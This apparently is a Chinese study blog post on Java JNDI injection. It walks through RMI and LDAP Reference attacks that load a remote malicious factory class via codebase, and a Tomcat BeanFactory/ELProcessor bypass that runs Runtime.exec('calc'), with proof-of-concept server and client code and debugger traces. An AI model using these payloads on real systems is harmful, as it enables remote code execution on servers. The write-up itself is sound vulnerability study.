关于JNDI注入那点事儿

Uncategorized
2.7k words

JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。

JNDI包括以下提供者

  • LDAP

    轻量级目录协议

  • RMI

    远程对象注册表,具体内容可看RMI反序列化学习

  • DNS

    域名解析服务

  • CORBA的COS服务

JNDI与RMI

ps :这个方法在jdk8u121后就被修复了,能碰到的话,评价是且用且珍惜

导入Demo

JndiRmiServer

1
2
3
4
5
6
7
8
public class JNDIRMIServer {  
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();

//HelloImpl hello = (HelloImpl) initialContext.lookup("rmi://127.0.0.1/Hello");
//hello.sayhello("xxxxxx");
}
}

JndiRmiClient

1
2
3
4
5
6
7
public class JNDIRMIClient {  
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
HelloImpl hello = (HelloImpl) initialContext.lookup("rmi://127.0.0.1:1099/Hello");
hello.sayhello("xxxxxx");
}
}

这里的话,就是通过lookup这个函数去加载rmi远程注册表上的Hello对象,假如这里是可控的话,我们显然可以加载自设的恶意RMI服务,从而实现反序列化任意对象的目的,但这个并不是传统意义上的Jndi注入

传统Jndi注入

解释:将远程对象设置为引用对象,关于引用对象的概念有点类似于代理模式
(当调用引用对象的时候【这里体现客户端获取引用对象?/调用引用对象方法?】,会自动调用设定的factory类里的代码)
下面是们要用到的一些demo源码

IRemote接口
1
2
3
4
5
import java.rmi.Remote;  
import java.rmi.RemoteException;
public interface IRemote extends Remote{
public void sayhello(String words) throws RemoteException;
}
Main(RMI注册)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.example.HelloImpl;  

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException, InterruptedException {
Registry registry = LocateRegistry.createRegistry(1099);
// 创建本地主机上的远程对象注册表
HelloImpl hello = new HelloImpl();
// 创建一个实现了Hello接口的远程对象
registry.rebind("Hello", hello);
// 将该远程对象绑定到名为"Hello"的条目上
while(true){
Thread.sleep(10);
}
// IRemote hellox = (IRemote) registry.lookup("Hello");
//// 通过名称查找并返回对应的远程对象引用
// hello.sayhello("aaacccca");
}
}
JndiRmiServer
1
2
3
4
5
6
7
8
9
10
public class JNDIRMIServer {  
public static void main(String[] args) throws NamingException, InterruptedException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef", "TestRef", "http://localhost:8991/");
initialContext.rebind("rmi://127.0.0.1:1099/testref",reference);
while(true){
Thread.sleep(1);
}
}
}
TestRef
1
2
3
4
5
6
7
import java.io.IOException;  

public class TestRef{
public TestRef() throws IOException {
System.out.println(System.getProperty("user.dir"));
}
}

客户端

JndiRmiClient
1
2
3
4
5
6
7
public class JNDIRMIClient {  
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
IRemote hello = (IRemote) initialContext.lookup("rmi://localhost:1099/testref");
//hello.sayhello("xxxxxx");
}
}

以上例子本质上还是利用类加载机制来实现的RCE,仍然没有跳出我们之前的所学范围
而这里的具体利用,其实就是之前RMI反序列化部分学习过的codebase恶意类加载,没什么过多好说的

lookup跟踪调试

在客户端这里给lookup方法上个断点,跟进调试一下

首先进入了InitialContext#lookup:

继续跟进一下来到了GenericURLContext
(这里是由前面的getURLOrDefaultInitCtx决定的,由于JNDI调用的是RMI服务,所以这里进的是GenericURLcontext类,对于不同的服务,进入的Context不同(具体详情可以自己跟进一下getURLDefaultInitCtx ),接着跟进 ctx.lookup

定位到了RegistryContext 这里,跟进断点处的lookup

这里的话是调用了注册中心的lookup方法,是本次重载的最后一层了,好像在这个方法这里也有一个相关的利用点,先不做深究了,这里执行一下lookup

可以看到从远程注册表那里取回了一个obj对象,但出乎意料的是对象的类型不是我们预料中的引用类型的对象,猜测上一层的lookup处进行了加密处理
(后来看了看别的博主,发现猜错了,是在服务端那里加的密)
( ==想问一下wrapper类型的对象到底是什么,感觉好多地方能看到他== )

这里跟进一下服务端,这里就不解释这么详细了,到registry之前的内容做下省略



最后是跟到了RegistryContext这里,能够看到他最终是重载了注册中心的rebind方法
比较关键的地方是这个encodeObject,光看名字就知道和我们的reference对象加密有关
(这个时候能够看到右下角的obj还是个引用对象)
跟进 encodeObject 方法

能够看到这里是用NamingManager.getStateToBind对obj进行了一次处理,再根据obj处理后的类型,将obj给打包起来,加密问题大概就是这样的,接着回到客户端
(怕忘了,把当时的进度再贴一遍)
跟进一下解密用的decodeObject函数

decodeObject这里调用了getObjectInstance函数,光是看名字就知道这位是重量级,得跟进
(顺便提一下,现在已经能看到obj被解析回引用类型了)

跟进结果如下,咳咳,原本一位是在第三个断点处返回的对象,但根本没进去,很麻,看了看别的师傅的博客,发现在factory.getObjectInstance就返回了,我们跟进一下getObjectFactory

这里又是个关键点,他会根据我们所传入的factoryname(服务端的第二个参数),尝试在本地实例化,如果没实例化成功,则通过codebase所记载的地址去加载factory对象

跟进一下最后的loadclass,发现了关键方法,newstance,通过这个方法拿到了我们的恶意类的类对象

拿到类对象后是在这里进行newInstance的,步过一下就会RCE

JNDI与LDAP

ps : 在8u141以下的版本可复现,工程师当年仅仅修复了RMI和CORBA的问题,把这个给忘

复现Demo

JndiServer

1
2
3
4
5
6
7
8
9
10
public class JNDIRMIServer {  
public static void main(String[] args) throws NamingException, InterruptedException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef", "TestRef", "http://192.168.239.133:8000/");
initialContext.rebind("ldap://192.168.239.133:10389/cn=JndiLdap,dc=example,dc=com",reference);
while(true){
Thread.sleep(1);
}
}
}

JndiClient

1
2
3
4
5
6
public class JNDIRMIClient {  
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://192.168.239.133:10389/cn=JndiLdap,dc=example,dc=com");
//hello.sayhello("xxxxxx");
}
}

此时此刻的ApacheDirectoryStudio内部详情

流程分析

老样子,在Client处下个断点

进去之后还是老样子,根据调用的协议一步一步找重载lookup,这里省略省略,大体流程和之前类似




这里的c_lookup就已经是最后一层的lookup了,没必要跳了
仔细的分析一下里面的情况,查看了一下它的方法字段,发现多了一个obj的属性,估计这个就是我们从ldap服务上所夺取的对象,给他下个断点,后面重点关注一下


在这个方法处,我们得到了我们的ref对象,这里是通过attrs解密获得的,在obj.java这里找到了我们
的decodeReference方法,最后在这个方法里返回了我们的引用对象


回到LdapCtx这里继续分析,在下面这里通过DirectoryManager.getObjectInstance方法,获得工厂对象(这里就是我们的恶意类)

在这里获取引用对象所指向的工厂的类对象,跟进一下

唔,和之前是一样的,在本地没有找到相应类,所以这里就从codebase加载对象,这里要是深究一下里面的内容结构的话,会发现他是加载了一个UrlClassLoader(和rmi那个一样),不深究了,反正就是通过这个方法拿到了一个工厂对象的类对象(TestRef)

拿到类对象以后,实例化了一下,执行构造函数,完成RCE

JNDI的高版本RMI绕过

复现Demo

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>  
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>untitled</artifactId>
<version>1.0-SNAPSHOT</version>

<properties> <maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.0.28</version>
</dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.0.28</version>
</dependency>
</dependencies></project>

JNDIBPServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
public class JNDIBPServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "Sentiment=eval"));
resourceRef.add(new StringRefAddr("Sentiment", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Exec", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:1099/Exec");
}
}
JNDIBPClient
1
2
3
4
5
6
7
import javax.naming.*;  
public class JNDIBPClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/Exec");
}
}

前情提要

这里在8u某个版本之后,jdk对于codebase加了一层处理,他会检查一下codebase中传入的url是不是可信任的url,如果是可信任的url就从中加载指定class文件,若不是可信任url则放弃执行
具体位置如下

这直接导致我们之前通过codebase加载恶意类的方法失效
无论是前面的ldap还是rmi在此都无法使用了
最后的解决方案是利用服务器上的Tomcat内置类 BeanFactory.getObjectInstance 实现RCE
(getObjectInstance为这里工厂对象默认会调的一个方法)。
总而言之,==这里的原理是利用将工厂对象设置为BeanFactory这个tomcat内置类来调用里面危险的getObjectInstance方法(里面有method.invoke)==

流程分析

前面的和之前的分析流程都是一样的,我们直接来到getObjectInstance这里,跟进去看看里面的执行流程

熟悉的地方,熟悉的断点,再跟

来到了和之前流程都不一样的一个地方了,之前我们在本地都找不到facrory工厂类,必须得从codebase加载factory,但现在直接就能从本地查到,省去了codebase查找的流程,在这里就能直接实例化出factory的类对象,这里不看了,直接跟进一下facroty.getObjectInstance这个方法

来到了BeanFactory里面
它这里先是依据factory的classname属性设定好了beanClassName字段,用于一会儿得到类对象
再是通过ref.get方法,得到了forceString的值,这里不知道他这个forceString到底是个什么类型的东西,跟进去get看一看

好吧,只能说是类似于属性的东西吧,这个get方法就很常规的从列表里面取出值而已,没什么价值,我们步出回去

forced是我们的方法集合,这里要记住
然后value的值是从ra里面抠出来的,这里经过处理后是Sentiment=eval

对value进行一点小小的分离处理,paoname就是Sentiment=eval 等号后面的部分,param就是等号前面的部分,得到forced集合

最后,经过一系列比较复杂的操作(其实也还行,就是取出RefAddr里面不为scope/forceString/auth.factory的元素而已),从那个类似属性的集合里面抠出来了方法的参数(Runtime.getRuntime().exec())交给method.invoke执行,弹出计算器,至此结束